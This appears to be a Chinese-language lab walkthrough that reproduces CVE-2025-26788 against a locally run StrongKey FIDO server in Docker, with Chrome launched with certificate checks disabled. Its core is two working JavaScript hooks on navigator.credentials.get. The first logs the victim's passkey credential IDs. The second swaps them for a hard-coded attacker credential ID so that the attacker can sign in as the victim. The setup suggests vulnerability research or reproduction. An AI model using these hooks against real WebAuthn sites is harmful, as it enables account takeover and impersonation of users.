步骤1 - 确认 Docker Desktop 运行
docker version
步骤2 - 构建镜像
cd C:\Users\jhcho\Desktop\passkey\CVE-2025-26788 docker build -t skfs .
步骤3 - 运行容器
docker run -d --name skfs --hostname skfs.localdomain
--privileged --cgroupns=host
-v /sys/fs/cgroup:/sys/fs/cgroup:rw --tmpfs /run
--tmpfs /run/lock -v /tmp:/tmp
-p 389:389 -p 3306:3306
-p 4848:4848 -p 8181:8181
skfs
步骤4 - 复制 sh 文件并执行
docker cp C:\Users\jhcho\Desktop\passkey\CVE-2025-26788\setup-skfs.sh skfs:/root/ docker exec -it skfs bash -c "sed -i 's/\r//' /root/setup-skfs.sh && chmod +x /root/setup-skfs.sh" docker exec -it skfs bash /root/setup-skfs.sh
步骤5 - 注册 Windows hosts 文件
C:\Windows\System32\drivers\etc\hosts 127.0.0.1 skfs.localdomain
步骤6 - 运行 Chrome
Start-Process "C:\Program Files\Google\Chrome\Application\chrome.exe" -ArgumentList "--ignore-certificate-errors --unsafely-treat-insecure-origin-as-secure=https://skfs.localdomain:8181
步骤1 - 攻击者 ID 识别代码
// 原函数备份
const originalGet = navigator.credentials.get.bind(navigator.credentials);
// 钩子
navigator.credentials.get = async function(options) {
console.log("📌 navigator.credentials.get 被调用！");
console.log("传递的选项:", options);
if (options && options.publicKey) {
console.log("🔑 publicKey 选项:", options.publicKey);
if (options.publicKey.allowCredentials) {
options.publicKey.allowCredentials.forEach((cred, index) => {
console.log(`🎯 Credential[${index}] ID (raw):`, cred.id);
// Base64 转换
const base64Id = btoa(
String.fromCharCode(...new Uint8Array(cred.id))
);
console.log(`🎯 Credential[${index}] ID (Base64):`, base64Id);
});
}
}
return originalGet(options);
};
步骤2 - 攻击者 ID 篡改代码
// 更改为攻击者 ID
credential ID (Base64)
const attackerBase64 = "uVElUB1cg6CgNQALpiKSJKyOeuk=";
// Base64 → ArrayBuffer 转换函数
function base64ToArrayBuffer(base64) {
const binary = atob(base64);
const bytes = new Uint8Array(binary.length);
for (let i = 0; i < binary.length; i++) {
bytes[i] = binary.charCodeAt(i);
}
return bytes.buffer;
}
const attackerBuffer = base64ToArrayBuffer(attackerBase64);
// 原 get 函数备份
const originalGet = navigator.credentials.get.bind(navigator.credentials);
// 钩子
navigator.credentials.get = async function(options) {
console.log("📌 检测到 victim 登录请求");
if (options?.publicKey?.allowCredentials) {
options.publicKey.allowCredentials.forEach((cred, i) => {
// victim credential ID 输出
const victimBase64 = btoa(
String.fromCharCode(...new Uint8Array(cred.id))
);
console.log(`🎯 Victim Credential[${i}] ID (Base64):`, victimBase64);
// 🔥 篡改为攻击者 ID
cred.id = attackerBuffer;
console.log(`🚨 Credential[${i}] ID 已被篡改为攻击者 ID →`, attackerBase64);
});
}
return originalGet(options);
};
console.log("✅ 钩子完成。现在请作为 victim 点击登录。");